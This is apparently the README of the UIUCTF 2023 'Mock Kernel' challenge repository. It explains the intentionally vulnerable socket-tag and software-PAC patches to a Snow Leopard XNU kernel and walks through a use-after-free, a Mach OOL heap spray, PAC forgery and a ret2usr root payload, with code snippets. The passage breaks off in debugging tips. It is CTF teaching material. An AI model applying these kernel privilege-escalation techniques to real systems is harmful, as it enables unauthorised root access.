├── README.md ├── exploit.c ├── patch_xnu-1456.1.26.diff └── solve_2much4u ├── main.c ├── md5.c └── md5.h /README.md: -------------------------------------------------------------------------------- 1 | # Mock Kernel 2 | Mock Kernel was a UIUCTF 2023 capture-the-flag kernel exploitation challenge created by Joseph Ravichandran. 3 | 4 | We rated this challenge as "extreme" difficulty. The challenge received 4 solves during the competition. 5 | 6 | Participants are given ssh and vnc access to a Mac OS X Snow Leopard (10.6, `10A432`) virtual machine. 7 | This VM is running a special kernel, with version string (`uname -v`): `sigpwny:xnu-1456.1.26/BUILD/obj//RELEASE_X86_64`. 8 | 9 | ## Challenge Description 10 | 11 | ``` 12 | We found my brother's old iMac but forgot the password, 13 | maybe you can help me get in? 14 | 15 | He said he was working on something involving "pointer 16 | authentication codes" and "a custom kernel"? I can't recall... 17 | 18 | Attached is the original Snow Leopard kernel macho as well 19 | as the kernel running on the iMac. 20 | ``` 21 | 22 | There are two attached files- `mach_kernel.orig` and `mach_kernel.sigpwny`. 23 | `mach_kernel.orig` is the original Snow Leopard kernel from 10.6 (`/mach_kernel`), and `mach_kernel.sigpwny` is the modified kernel running on the VM. 24 | 25 | ## Setting up a VM 26 | 27 | To create a Snow Leopard virtual machine suitable for testing this challenge, follow these steps: 28 | 29 | 1. https://github.com/jprx/how-to-install-snow-leopard-in-qemu 30 | 1. Inside the VM, rename `/System/Library/Extensions/AppleProfileFamily.kext` to `AppleProfileFamily.kext.bak`. 31 | 1. Delete `/mach_kernel` and replace it with the attached `mach_kernel.sigpwny` file (saved as `/mach_kernel`). 32 | 1. Reboot the VM and then run `uname -v`, you should see the version string of `sigpwny:xnu-1456.1.2.6/BUILD/obj//RELEASE_X86_64`. 33 | 1. Install Xcode 3.2 (`xcode3210a432.dmg`) inside the VM to get `gcc`. 34 | 35 | ## Building `mach_kernel.sigpwny` 36 | 37 | **NOTE**: You do not have to build the kernel to try the challenge, just use `mach_kernel.sigpwny` provided in the CTF files repo. 38 | If you want to compile and install your own kernel in the VM though, here's how! 39 | 40 | To compile XNU, follow the excellent instructions by Shantonu Sen [here](https://shantonu.blogspot.com/2009/09/). 41 | You want to checkout `xnu-1456.1.26` from [the xnu repo](https://github.com/apple-oss-distributions/xnu). 42 | 43 | You will want to build XNU inside of a Snow Leopard VM. 44 | Before you can build XNU, you'll need Xcode 3.2 installed inside the virtual machine. 45 | Several open source components should also be installed (follow the instructions posted above). 46 | Finally, once the dependencies are installed, `git apply` the patches from this repository (in `patch_xnu-1456.1.26.diff`) to `xnu`. 47 | 48 | Build xnu with `make ARCH_CONFIGS="X86_64" KERNEL_CONFIGS="RELEASE"`. 49 | You should have a shiny new kernel located at `BUILD/obj/RELEASE_X86_64/mach_kernel` (and an unstripped kernel macho at `mach_kernel.sys` and `mach_kernel.sys.dSYM`, which can be useful for debugging). 50 | 51 | Make sure to rename `AppleProfileFamily.kext` in `/System/Library/Extensions` to something other than a `.kext`, as this kext is incompatible with a user-compiled XNU kernel. 52 | If you forget to do this, the kernel will panic on boot, and you'll have to recover the VM (either by editing the HFS filesystem from Linux if you disabled journaling, from a Mac, or by rebooting the install DVD and copying the old kernel over). 53 | **Do this before copying the kernel to `/mach_kernel`**. 54 | 55 | Copy the kernel to `/mach_kernel` and reboot the VM to reload the new kernel. 56 | A new kernelcache will automatically be linked for you. 57 | 58 | **Note:** if you are trying to build a `DEVELOPMENT` flavor of the Snow Leopard kernel, make sure `kxld` is configured to be built (in the various `conf` directories), otherwise the kernelcache will fail to link at boot. You'll also want `CONFIG_FSE`. You might find it easier to just change the compiler flags of the `RELEASE` variant than trying to get `DEVELOPMENT` to build and install. 59 | 60 | # The Mock Kernel Patches 61 | 62 | `patch_xnu-1456.1.26.diff` contains the patches we created to build `mach_kernel.sigpwny`. 63 | 64 | It adds two new major components- `softpac` and `sotag`. 65 | 66 | ## SoftPAC 67 | 68 | Pointer Authentication (aka `PAC`) is an ARM v8.3 ISA extension that allows for cryptographically signing pointers in memory. 69 | Essentially, with PAC enabled, arbitrary read/ write no longer allows attackers to violate CFI as changing function pointers is difficult without a PAC bypass. 70 | 71 | Usually, PAC requires special hardware extensions to function. 72 | We have implemented a software version of PAC in `bsd/kern/softpac.c`. 73 | 74 | The two major PAC instruction flavors (`pac*` and `aut*` for signing and verifying pointers, respectively) are replicated with the C functions `softpac_sign` and `softpac_auth`. 75 | A SoftPAC signature takes three arguments- the "flavor" of the pointer (`SOFTPAC_DATA` or `SOFTPAC_INST`), the "key" (however, for this challenge, we don't use a key, in practice this is more analagous to the `salt` as used on ARM), and the pointer value itself. 76 | 77 | Let's break down the three arguments and the rationale for including them. 78 | 79 | Every pointer is either a data or instruction pointer. We denote this distinction as the pointer's "flavor". It is important to make a distinction between data and instructions so that references to data memory can never be swapped for instruction references (eg. function pointers). 80 | This means that the same address should have a different signature depending on if the reference is intended to point to data or instructions. 81 | We implement this by remembering what each pointer represents, and passing that information along to SoftPAC as the flavor. 82 | 83 | Instead of using a key, we salt each signature with the location of the pointer itself in memory (which is how ARM Pointer Authenticated programs salt pointers in practice). 84 | This has several beneficial properties from a defense perspective. 85 | First, it means that two pointers that both point to the same location will have *different* signatures! 86 | Second, it means that even if forgery is possible, the forged pointer can never be moved from its original address. 87 | Third (which is the point most relevant to Mock Kernel), if an attacker has a mechanism for forging pointers, they cannot do so until they learn the location of the pointer itself! 88 | Since SoftPAC protected pointers are stored on the kernel heap, this means that a kernel heap address leak is required for the specific object being forged. 89 | 90 | Lastly, of course the pointer being signed needs to know what it points at, so we pass along the pointer value too. 91 | 92 | 93 | 94 | The following formula is used for calculating signatures (see `compute_pac`): 95 | 96 | ``` 97 | def calculate_pac(flavor, key, plainptr): 98 | digest <- md5sum(flavor, key, plainptr) 99 | pac <- xor_every_two_bytes(digest) 100 | return pac 101 | ``` 102 | 103 | We take the MD5 hash of the flavor + key + plainptr, and then XOR every two byte sequence of the hash together to produce a unique 16 bit number, representing the pointer's pointer authentication code (PAC). 104 | 105 | When checking a pointer, we recompute the PAC (by first stripping the PAC bits from the pointer and sign extending to a canonical 64 bit virtual address to support both kernel and user mode VAs) and then check if the pointer's PAC matches the recomputed hash. 106 | If they do not match, we immediately panic the kernel (unlike ARM 8.3 PAC, which only panics on use of an invalid pointer). 107 | 108 | SoftPAC makes use of 16 bit PACs stored in bits 47 to 62 inclusive of a pointer. 109 | Thus, a VA is represented by SoftPAC as follows: 110 | 111 | ``` 112 | 63 59 55 51 47 43 39 35 31 27 23 19 15 11 7 3 0 113 | | | | | | | | | | | | | | | | | | 114 | APPP_PPPP_PPPP_PPPP_PVVV_VVVV_VVVV_VVVV_VVVV_VVVV_VVVV_VVVV_VVVV_VVVV_VVVV_VVVV 115 | 116 | V = Virtual Address bit 117 | P = PAC bit 118 | A = Canonical Address Space bit (0 = user, 1 = kernel) 119 | ``` 120 | 121 | To extract a PAC (bits 62 -> 47 inclusive), the bitmask `0x7FFF800000000000` followed by a right shift of `47` can be used. 122 | 123 | Note that this is very similar to the 16-bit PAC behavior on ARM systems. 124 | 125 | ## Socket Tags 126 | 127 | In `bsd/kern/sotag.c` we have added a new feature to BSD sockets called "Socket Tags" (or `sotag` for short). 128 | A socket tag allows the user to add a `0x40` byte "tag" to a given socket file descriptor containing user specified data. 129 | The intention here is that users can tag socket fds with extra metadata for use by the program. 130 | 131 | Socket tags are controlled via `setsockopt` and `getsockopt` with the `SO_SOTAG_MODE` option. 132 | Users should create a `sotag_control` struct and pass their desired command and arugments via this struct. 133 | 134 | There are four commands, three of which are controlled by `setsockopt`: 135 | 136 | - `CTF_CREATE_TAG`: Create a socket tag for a given socket. 137 | - `CTF_EDIT_TAG`: Edit the socket tag of a given socket. 138 | - `CTF_REMOVE_TAG`: Delete the socket tag of a given socket. 139 | 140 | And one controlled by `getsockopt`: 141 | 142 | - `CTF_SHOW_TAG`: Read the value of the socket tag. 143 | 144 | Internally, socket tags are represented by `struct sotag`: 145 | 146 | ```c 147 | struct sotag { 148 | char tag[SOTAG_SIZE]; 149 | struct sotag_vtable *vtable; 150 | }; 151 | ``` 152 | 153 | The `tag` buffer is the user-controllable data, and the `vtable` pointer points to a `sotag_vtable`, which is a struct containing a single function pointer to a "dispatch" method that is used by `CTF_SHOW_TAG`. 154 | 155 | The socket tag vtable is protected by SoftPAC, just like how a real C++ object's vtable would be protected by ARM Pointer Authentication. 156 | The `sotag_vtable` pointer is a data pointer (`SOFTPAC_DATA`). 157 | Inside of the vtable is a function pointer (`SOFTPAC_INST`) that by default points to `sotag_default_dispatch`. 158 | The socket tag's vtable pointer, and the vtable entry **must** be correctly signed to use `CTF_SHOW_TAG` without causing a panic. 159 | 160 | There are multiple vulnerabilities in the Socket Tag implementation, such as: 161 | - A Use after Free if a tag is deleted and then read from/ written to. 162 | - A double free if a tag is freed twice. 163 | - Memory is leaked as the socket tag vtable is never freed if a socket tag is freed. 164 | - Null pointer dereferences / uninitialized memory uses are possible if socket tags are edited/ viewed before being allocated. 165 | 166 | ## Non-Goals 167 | 168 | This brief aside will document the author's intentions in implementing PAC here. 169 | First, it should be obvious this PAC implementation is not cryptographically secure- this is intentional. 170 | The reason for adding PAC to this challenge is to induce a dependence on a heap address leak on performing the exploit. 171 | As there is no kASLR, it would be too easy otherwise! 172 | 173 | The intention is that the PAC algorithm is reverse engineered and implemented in userspace. 174 | Then, using the heap data and address leaks found by the exploit, all PACs are forged in userspace by the exploit code. 175 | 176 | Another non-goal is forcing one specific path of exploitation. 177 | You'll note that there are multiple vulnerabilities in the Socket Tag implementation that are not used by the intended exploitation path. 178 | Keeping these bugs in just makes for a more interesting challenge :). 179 | 180 | # Solving the Challenge 181 | 182 | You're going to want a copy of the [`xnu-1456.1.26` source](https://github.com/apple-oss-distributions/xnu/tree/xnu-1456.1.26) with the patches applied open while working on this. 183 | 184 | We are an unprivileged user and would like to elevate our privileges to root via gaining arbitrary kernel code execution. 185 | 186 | First, let's take a look at what mitigations are present on Snow Leopard: 187 | - SMAP/ SMEP are disabled 188 | - kASLR is disabled 189 | - Heap randomization and `kalloc_type` are not present on Snow Leopard 190 | 191 | A binary exploitation author's dream! 192 | 193 | ## Working with Sotags 194 | Let's start from the beginning- how do we interact with socket tags? 195 | 196 | Take a look at `bsd/kern/uipc_socket.c:3233` (the `SO_SOTAG_MODE` option of `sosetopt`). 197 | This is where three of the four sotag options are implemented- we can create a socket tag, edit a socket tag, and delete a socket tag. 198 | 199 | Let's begin by creating a socket and attaching a sotag to it: 200 | 201 | ```c 202 | // Create a socket 203 | int fd=socket(AF_INET, SOCK_STREAM, 0); 204 | 205 | // Setup a setsockopt control structure with our command (CTF_CREATE_TAG) 206 | struct sotag_control opts; 207 | opts.cmd = CTF_CREATE_TAG; 208 | bzero(&opts.payload, sizeof(opts.payload)); 209 | 210 | // Create a sotag on this socket 211 | setsockopt(fd, SOL_SOCKET, SO_SOTAG_MODE, &opts, sizeof(opts)); 212 | ``` 213 | 214 | We can now edit the contents of the tag with the following: 215 | 216 | ```c 217 | // Set the sotag user-controlled string to "AAAA..." 218 | opts.cmd = CTF_EDIT_TAG; 219 | memset(&opts.payload, 'A', sizeof(opts.payload)); 220 | setsockopt(fd, SOL_SOCKET, SO_SOTAG_MODE, &opts, sizeof(opts)); 221 | ``` 222 | 223 | If you have a kernel debugger setup (eg. with `Qemu`'s gdb stub), you can pause the kernel and you should see your socket tag has been filled with user controlled bytes. 224 | 225 | Lastly, we can free the socket tag with: 226 | 227 | ```c 228 | // Free the sotag 229 | opts.cmd = CTF_REMOVE_TAG; 230 | setsockopt(fd, SOL_SOCKET, SO_SOTAG_MODE, &opts, sizeof(opts)); 231 | ``` 232 | 233 | ## Sotag Internals 234 | 235 | Well, how does the kernel allocate and keep track of socket tags? 236 | Let's look at what happens when we allocate a sotag. 237 | In `uipc_socket.c:3243` (comments and debug strings omitted for brevity): 238 | 239 | ```c 240 | case CTF_CREATE_TAG: { 241 | new_sotag = alloc_sotag(); // <- Defined in `bsd/kern/sotag.c` 242 | if (!new_sotag) goto bad; 243 | so->attached_sotag = new_sotag; 244 | break; 245 | } 246 | ``` 247 | 248 | So, we do three things: 1) request a new sotag from the magic `alloc_sotag` method, 2) if it's `NULL` we return a failure code, and 3) assign the socket's `attached_sotag` pointer to point to the newly allocated socket tag. What happens in `alloc_sotag`? 249 | In `bsd/kern/sotag.c:13`: 250 | 251 | ```c 252 | struct sotag *alloc_sotag() { 253 | struct sotag *new_tag; 254 | new_tag = kalloc(sizeof(*new_tag)); 255 | 256 | if (0 == new_tag) return ((struct sotag *)0); 257 | new_tag->vtable = (struct sotag_vtable *)kalloc(SOTAG_VTABLE_ALLOC_SIZE); 258 | 259 | if (0 == new_tag->vtable) { 260 | kfree(new_tag, sizeof(*new_tag)); 261 | return ((struct sotag *)0); 262 | } 263 | 264 | new_tag->vtable->dispatch = sotag_default_dispatch; 265 | sign_sotag(new_tag); 266 | 267 | return new_tag; 268 | } 269 | ``` 270 | 271 | To create a sotag, the kernel allocates some memory from the general purpose `kalloc` allocator. (This will be important later!). 272 | Then, we allocate some memory for the `vtable` field of the sotag. 273 | Something that is important to note is that `SOTAG_VTABLE_ALLOC_SIZE` is `0x100` bytes, which means that the `vtable` allocated will always be `0x100` byte aligned. This will also be important later! 274 | 275 | Next, we do some NULL checks, and finally set the `vtable` to point to `sotag_default_dispatch` and encrypt the sotag with SoftPAC. 276 | 277 | Well what's all this nonsense about a vtable? 278 | The vtable is used by the sotag method we haven't covered yet, `CTF_SHOW_TAG` (footnote: since this is the only option readable with `getsockopt`, the kernel doesn't actually check that `CTF_SHOW_TAG` was passed in). 279 | 280 | In `uipc_socket.c:3571`, `sogetopt` defines what happens when you use `getsockopt` on a sotag (aka the `CTF_SHOW_TAG` command): 281 | 282 | ```c 283 | case SO_SOTAG_MODE: { 284 | /* Read out the tag value from this socket. (default behavior of sotag_call_dispatch). */ 285 | /* If the dispatch method is overriden, this will do whatever the new behavior dictates. */ 286 | struct sotag_control sotag_options; 287 | sotag_call_dispatch(so->attached_sotag, &sotag_options.payload.tag, so->attached_sotag->tag); 288 | error = sooptcopyout(sopt, &sotag_options, sizeof(sotag_options)); 289 | break; 290 | } 291 | ``` 292 | 293 | When reading from a sotag, the kernel utilizes `sotag_call_dispatch` (in `bsd/kern/sotag.c`) to first ensure the sotag and vtable are correctly signed, then jumps to the `dispatch` method saved in the sotag vtable. 294 | This defaults to `sotag_default_dispatch`, which implements the desired `memcpy` behavior to copy the socket tag's payload into the `sotag_control` that is later `copyout`'ed into userspace. 295 | Hmmm... I wonder if there's a way to change the vtable to point to some other method... 296 | 297 | Now that we've seen how the kernel creates and uses sotags, what happens when we delete one? 298 | Looking at `uipc_socket.c:3267`, let's see what happens when we free a sotag: 299 | 300 | ```c 301 | case CTF_REMOVE_TAG: { 302 | ... 303 | kfree(so->attached_sotag, sizeof(*new_sotag)); 304 | break; 305 | } 306 | ``` 307 | 308 | Aha! This smells like a vulnerability- we never clear `so->attached_sotag`! 309 | This is a classic Use-after-Free situation. 310 | Let's look ahead to think about how we can exploit this behavior to gain elevated privileges. 311 | 312 | ## Mach IPC 313 | The key observation here is that once the sotag is deleted, the memory can be reclaimed by something else. 314 | And since we have a dangling reference to the sotag via the socket structure (`attached_sotag`), as long as the socket is still around we can interact with that memory as if it were a sotag. 315 | That is, we can use `CTF_EDIT_TAG` and `CTF_SHOW_TAG` to arbitrarily edit and potentially leak the contents of the memory the sotag used to occupy! 316 | 317 | So, let's start by replacing the space that the sotag used to occupy with something interesting. 318 | 319 | The XNU kernel is built on top of the Mach microkernel which provides Mach messages. 320 | Mach messages are used for inter-process communication (or IPC). 321 | We're going to use them as an easy way to get the kernel to allocate conveniently sized attacker controlled data for us. 322 | 323 | A Mach OOL (out of line) message is a special kind of Mach message that is particularly useful here. 324 | Why? 325 | Well, because it ends up in a very convenient `kalloc` where *we* control the size. 326 | This is important because we can pick a size that matches the size of a sotag, making it likely that our Mach OOL message will be allocated where the freed sotag was. 327 | We can send a bunch of Mach OOL messages, and eventually one of them will replace the old sotag (since they're the same size, and both allocated with the general purpose `kalloc` allocator!) 328 | 329 | Let's see the kernel code responsible here to get a better idea of what this means. 330 | 331 | When you call `mach_msg`, your syscall will travel through the Mach trap table (`osfmk/kern/syscall_sw.c`) and land in the `mach_msg_trap` function (in `osfmk/ipc/mach_msg.c:566`). 332 | (Interesting footnote: mach traps are also called through the syscall interface, just with negative syscall numbers- see `osfmk/i386/bsd_i386.c:655`). 333 | 334 | `mach_msg_trap` is just a wrapper around `mach_msg_overwrite_trap` (a more general purpose version of `mach_msg_trap`) which calls `ipc_kmsg_copyin` to copy your Mach message into the kernel. 335 | Note that in the kernel, Mach messages are called `ipc_kmsg_t`'s. 336 | 337 | For "complex" Mach messages (those with out of line descriptors, like ours), `ipc_kmsg_copyin` calls `ipc_kmsg_copyin_body`, which calls `ipc_kmsg_copyin_ool_descriptor` to copy the OOL descriptor in. 338 | For small descriptors, `vm_map_copyin_kernel_buffer` (`osfmk/vm/vm_map.c:6670`) eventually is used to allocate a new `vm_map_copy` where our attacker controlled data is appended to the end. 339 | The size of this allocation is `kalloc_size = (vm_size_t) (sizeof(struct vm_map_copy) + len)`, where the attacker controlls `len` via the OOL descriptor length. 340 | 341 | **If we create a bunch of OOL messages with the same(ish) length of a sotag, we will end up with a `vm_map_copy` overlapping with the sotag!** 342 | 343 | Now that we can overlap the `sotag` with a sprayed heap object, what's next? 344 | 345 | Recall a Sotag is structured as follows (`bsd/sys/sotag.h`): 346 | 347 | ```c 348 | #define SOTAG_SIZE ((0x40)) 349 | struct sotag { 350 | char tag[SOTAG_SIZE]; 351 | struct sotag_vtable *vtable; /* +0x40: First controlled bytes by OOL mach message type confusion */ 352 | }; 353 | ``` 354 | 355 | The sotag has `0x40` bytes of attacker-controllable data followed by `8` bytes for the vtable pointer. 356 | Interestingly enough, the size of the attacker controlled data (`sotag.tag`) matches exactly that of the `vm_map_copy` we are eventually going to create a type confusion with. 357 | 358 | By allocating lots of OOL messages, we will call `vm_map_copyin_kernel_buffer` many times, each time performing a `kalloc` of `0x40` plus however long our spray content is. 359 | Then, we will copy the spray content (the contents of the OOL message described by the descriptor) to this new allocation starting at `+0x40` from the beginning of the allocation- perfectly overlapping the vtable field. 360 | 361 | Note that until now, there was no way for the attacker to change the `sotag.vtable` field. 362 | However, a sprayed OOL mach message will let the attacker do just that! 363 | But they need to know the value to put in the `vtable` field before the spray begins... 364 | 365 | 366 | So, let's look in detail at what happens when a `vm_map_copy` is allocated on top of a `sotag`. `vm_map_copy` is defined in `osfmk/vm/vm_map.h` (and note that a `vm_map_copy_t` is `typedef`'d to be a pointer to this struct): 367 | 368 | ```c 369 | struct vm_map_copy { 370 | int type; 371 | #define VM_MAP_COPY_ENTRY_LIST 1 372 | #define VM_MAP_COPY_OBJECT 2 373 | #define VM_MAP_COPY_KERNEL_BUFFER 3 374 | vm_object_offset_t offset; 375 | vm_map_size_t size; 376 | union { 377 | struct vm_map_header hdr; /* ENTRY_LIST */ 378 | vm_object_t object; /* OBJECT */ 379 | struct { 380 | void *kdata; /* KERNEL_BUFFER */ 381 | vm_size_t kalloc_size; /* size of this copy_t */ 382 | } c_k; 383 | } c_u; 384 | }; 385 | ``` 386 | 387 | Upon triggering a successful Use-after-Free, all of these fields are writeable through `CTF_EDIT_TAG`. 388 | If we want to read them, we need to ensure the vtable pointer is left exactly in tact, as if it changes, we cannot use `CTF_SHOW_TAG` through `getsockopt` (recall that `getsockopt` uses the vtable, so it needs to be uncorrupted to read anything from the sotag). 389 | 390 | ## Getting a Heap Leak 391 | 392 | Recall that the vtable pointer is `0x100` byte aligned- this means that the least significant byte of the vtable field will always be zero. 393 | So, we should make sure to keep the vtable exactly as-is until we are ready to change it. 394 | We can perform a Mach OOL spray with descriptor length 1 byte (specifically the byte `0x00`) to overwrite just the least significant byte of the vtable field while keeping all other bytes unchanged (we cannot perform a zero length OOL spray due to `osfmk/ipc/ipc_kmsg.c:2037`). 395 | Shout-out little endian systems! 396 | 397 | If we do this and successfully overlap a `vm_map_copy` with a `sotag`, we can read and write all fields of the `vm_map_copy`! 398 | 399 | The `kdata` field (at offset `+24` from the start of the tag) is of particular interest, as it points right to the end of the `vm_map_copy` (aka where the `vtable` is held in memory). 400 | 401 | So, the steps to leak the address of the `sotag.vtable` field are as follows: 402 | 403 | 1. Allocate a sotag. 404 | 2. Free it. 405 | 3. Allocate a bunch of Mach OOL messages with descriptor length 1 to overlap the freed sotag. 406 | 4. Use `getsockopt` (with the in-tact vtable) to leak the current "sotag" (really a `vm_map_copy`) contents, and read the `kdata` field. 407 | 408 | At this point, we can reliably leak the address of the `sotag.vtable` (and therefore know where the `sotag` is in memory). 409 | We will need this address in order to defeat PAC. 410 | 411 | ## Sotag + SoftPAC 412 | 413 | So far we have neglected to describe what `sign_sotag` actually does and what it means for a sotag to be "signed". 414 | 415 | Let's take a look at `sign_sotag` in `bsd/kern/sotag.c:36`: 416 | 417 | ```c 418 | void sign_sotag(struct sotag *t) { 419 | if (!t) return; 420 | t->vtable->dispatch = softpac_sign( 421 | SOFTPAC_INST, 422 | &(t->vtable->dispatch), 423 | t->vtable->dispatch 424 | ); 425 | 426 | t->vtable = softpac_sign( 427 | SOFTPAC_DATA, 428 | &(t->vtable), 429 | t->vtable 430 | ); 431 | } 432 | ``` 433 | 434 | A signed sotag has two PAC-protected pointers. 435 | First, we encrypt the contents of the vtable (which again, is just 1 function, even though we allocate `0x100` bytes for it). 436 | This one function is the `dispatch` method. 437 | We sign `dispatch` as an instruction pointer, since it directly points to code to run. 438 | We salt it by passing the *address* of the `dispatch` pointer *itself* for this specific vtable. 439 | 440 | Then, the `vtable` pointer itself (pointing to the vtable which is allocated with `kalloc(0x100)`) is encrypted as a signed data pointer. 441 | This might seem counter-intuitive as vtables are used for function dispatches, why are we signing it as a data pointer and not an instruction pointer? 442 | Well, `sotag.vtable` doesn't point to a function to *run*, but a table of function *pointers* (specifically, this table only has one valid element). 443 | So, we sign it as a data pointer. 444 | 445 | Much like the vtable entry case, we salt the vtable pointer with a value that will be unique for each sotag (its address!). 446 | We pass the *address* of the `sotag.vtable` for *this specific sotag* into SoftPAC as the key. 447 | This means that two different sotags will have *different* signatures for their `vtable` field, even if they pointed to the same vtable somehow. 448 | **If an attacker wants to forge the PAC for the `vtable` pointer, they will need to know where this sotag is allocated on the kernel heap!** 449 | 450 | You'll find that this is the same behavior in ARM 8.3 PAC protected C++ binaries for C++ objects (except ARM systems obviously use a real hardware key and actually cryptographically secure algorithms, at least I hope). 451 | 452 | ## Defeating SoftPAC 453 | 454 | So, to recap. 455 | 456 | We have found a use after free vulnerability in the socket tagging feature, and used it to create a type confusion where the kernel has allocated a `vm_map_copy` on top of a `sotag` that is still being used, despite having been freed. 457 | We have then used this capability to leak `vm_map_copy.kdata`, which points exactly to `sotag.vtable` for the sotag. 458 | We can do this by reading from the sotag via `getsockopt`, which leaks `vm_map_copy.kdata` for whichever OOL message got allocated over the `sotag`. 459 | 460 | Now, we know where in the heap our `sotag` is stored, and would like to forge the PAC for its vtable to redirect `vtable` and then `vtable->dispatch` to point to some attacker controlled code. 461 | 462 | Luckily for us, this version of PAC doesn't use any secret keys, and is in fact just basically the MD5 hash of a few things we already have learned through leaks. 463 | 464 | Let's look at the SoftPAC internals. 465 | In `bsd/kern/softpac.c:4`: 466 | 467 | ```c 468 | pac_t compute_pac(softpac_flavor_t flavor, softpac_key_t key, u_int64_t plainptr) { 469 | MD5_CTX ctx; 470 | u_int8_t digest[MD5_DIGEST_LENGTH]; 471 | pac_t pac = 0; 472 | int i; 473 | 474 | MD5Init(&ctx); 475 | 476 | MD5Update(&ctx, &flavor, sizeof(flavor)); 477 | MD5Update(&ctx, &key, sizeof(key)); 478 | MD5Update(&ctx, &plainptr, sizeof(plainptr)); 479 | 480 | MD5Final(digest, &ctx); 481 | 482 | for (i = 0; i < MD5_DIGEST_LENGTH / 2; i++) { 483 | pac ^= digest[2*i] | (digest[2*i+1] << 8); 484 | } 485 | 486 | return pac; 487 | } 488 | ``` 489 | 490 | We just compute the MD5 hash of `(flavor, key, pointer's value)` and then XOR the bytes of the MD5 together to create a 16 bit PAC. 491 | In fact, while this snippet is of kernel code, this code can be basically used as-is in userspace with the OpenSSL crypto library. 492 | 493 | With the `vm_map_copy.kdata` leak, we have all the pieces we need to forge the entire `sotag->vtable->dispatch` PAC chain for the UaF'd `sotag`. 494 | We have to forge two pointers: `sotag->vtable` should be redirected to point to some forged vtable, and then `forged_vtable->dispatch` needs to be forged to point to attacker controlled code. 495 | For now, let's not worry about where the attacker controlled code is, and focus on forging the signatures. 496 | 497 | We can put our forged vtable anywhere within the `sotag.tag` area, which again, we have total write control over. 498 | In my exploit, I put it at `&sotag.vtable - 56` (just some 8 byte area that lives in `sotag.tag`. I chose `-56` as this puts us 8 bytes after the beginning of the sotag- the first 8 bytes are interesting as the freelist will write pointers there, so I didn't want to overwrite that). 499 | 500 | 501 | First, we can forge the `vtable` to point to `&sotag.vtable - 56` by recalculating the PAC just like `sign_sotag` does. 502 | The flavor is `SOFTPAC_DATA`, the key/ salt is the address of the vtable itself (again, which we leaked earlier from `vm_map_copy.kdata`), and the pointer destination is where the new vtable goes- `&sotag.vtable - 56`. 503 | 504 | Next, we need to populate this fake vtable with a signed instruction pointer that matches the one the code expects to find within the vtable. 505 | We can sign this with flavor `SOFTPAC_INST`, key/ salt of `&sotag.vtable - 56` (the address of the forged `dispatch` field where we will write this signed pointer), and the destination can be wherever we like! 506 | 507 | We can easily write the forged `dispatch` pointer into `&sotag.vtable - 56` by just using `setsockopt` to fill in the `sotag.tag` field like before. 508 | However, changing the vtable is hard, as there is currently an OOL mach message of length 1 that lives there. 509 | 510 | We can "undo" the first spray by using `mach_msg` with `MACH_RCV_MSG` to free all OOL messages, freeing the one that was allocated over our `sotag`. 511 | Next, we can just repeat the spray, except this time with 8 byte descriptors instead of 1 byte ones, and fill in the entire `vtable` field in the freed `sotag` with the forged signed new vtable (that points back to the `sotag`, where our fake `dispatch` field is waiting). 512 | 513 | After the second round of heap spray, everything is in place. 514 | Now, what attacker controlled code to actually put there? 515 | 516 | ## Final Payload 517 | Normally, if SMAP/ SMEP were enabled, this is the part where we would write a kernel ROP/ JOP payload, probably making use of various leaked pointers to bypass kASLR too. 518 | But luckily for us, Snow Leopard doesn't support any of that. 519 | 520 | So, we can literally just jump to userspace addresses, and the kernel will run code from userspace as if it were part of the kernel! 521 | 522 | We'd like to elevate our privileges, which just means setting a few fields in our `ucred` belonging to this BSD process. 523 | We can get the BSD process by calling `current_proc()`, and then get the `ucred` struct from that with `proc_ucred()`. 524 | Note that you don't actually need to perform any function calls if you can read your task struct from the CPU's `gs` segment, but that's actually more work in this case since there's no kASLR anyways. 525 | 526 | So, our payload looks like the following: 527 | 528 | ```c 529 | // Hard-coded addresses extracted from kernel binary: 530 | #define CURRENT_PROC 0xffffff800025350cULL 531 | #define PROC_UCRED 0xffffff8000249967ULL 532 | 533 | // This is the function we want to get the kernel to call 534 | // It will elevate our privileges to root mode 535 | void target_fn() { 536 | void *p = ((void *(*)())CURRENT_PROC)(); 537 | struct ucred *c = ((ucred *(*)(void *))PROC_UCRED)(p); 538 | c->cr_uid = 0; 539 | c->cr_ruid = 0; 540 | c->cr_svuid = 0; 541 | c->cr_rgid = 0; 542 | c->cr_svgid = 0; 543 | c->cr_gmuid = 0; 544 | } 545 | ``` 546 | 547 | And that's all there is to it! 548 | If we set the forged `dispatch` to point to `target_fn` in userspace, whenever the kernel next tries to use the sotag dispatch, it will call `target_fn` which then grabs our task and elevates our privileges. 549 | 550 | So, to trigger the final exploit, all we need to do is one last `getsockopt` against the `sotag` which will use `sotag_call_dispatch` to dereference our correctly forged `vtable->dispatch` and jump to our code. 551 | 552 | And with some luck from the heap spray, we should suddenly have become root! 553 | 554 | # Recap: An Overview 555 | 556 | The entire exploit consists of the following steps: 557 | 558 | 1. Create a socket. 559 | 1. Attach a sotag to it. 560 | 1. Free that sotag (but the socket still maintains a reference to it!) 561 | 1. First round heap spray: Spray 1 byte long Mach OOL messages to overlap with the sotag. 1 byte so that our spray data doesn't overwrite `sotag.vtable`, an important value that should not be changed (yet). A `vm_map_copy` will be allocated on top of the `sotag`. 562 | 1. Learn where our sotag is allocated (specifically, the address of `sotag+0x40`, AKA the `vtable` field) by reading 8 bytes from offset `+24` in the sotag. This is `vm_map_copy.kdata`. 563 | 1. Undo the first spray by receiving all messages, the `vm_map_copy` that was allocated over our `sotag` is freed. 564 | 1. Using the leaked `kdata`, forge a fake `vtable.dispatch` inside of `sotag.tag`, the attacker controlled bytes in the socket tag, and forge a pointer to it for `sotag.vtable`. 565 | 1. Fill in the fake vtable `dispatch` field with `setsockopt`. 566 | 1. Second round heap spray: Spray 8 byte long Mach OOL messages to overwrite the sotag vtable field to point to the forged vtable. 567 | 1. Trigger the forged vtable using `getsockopt`, this will run the attacker payload living in userspace to escalate our privileges. 568 | 1. `cat /flag`. 569 | 570 | ## A JOP-Based Solution 571 | 572 | Thanks to [2much4u](https://twitter.com/2much4ux) for contributing a solution that does not involve the `ret2usr` technique shown above, instead using kernel JOP gadgets as the payload. 573 | 574 | To see 2much4u's exploit, checkout the `solve_2much4u` directory. 575 | 576 | Thanks 2much4u! 577 | 578 | # Closing Thoughts 579 | 580 | I hope you had fun with this challenge! 581 | I definitely had a lot of fun messing with the Snow Leopard kernel. 582 | 583 | If you found a cool way to exploit this challenge not covered here, reach out: https://twitter.com/0xjprx. 584 | 585 | ### Practical Debugging Advice 586 | 587 | Here's a few things I found that made debugging my exploit easier. 588 | 589 | - Use single user mode with `serial=3`! This gives you a serial shell, a really fast booting kernel, 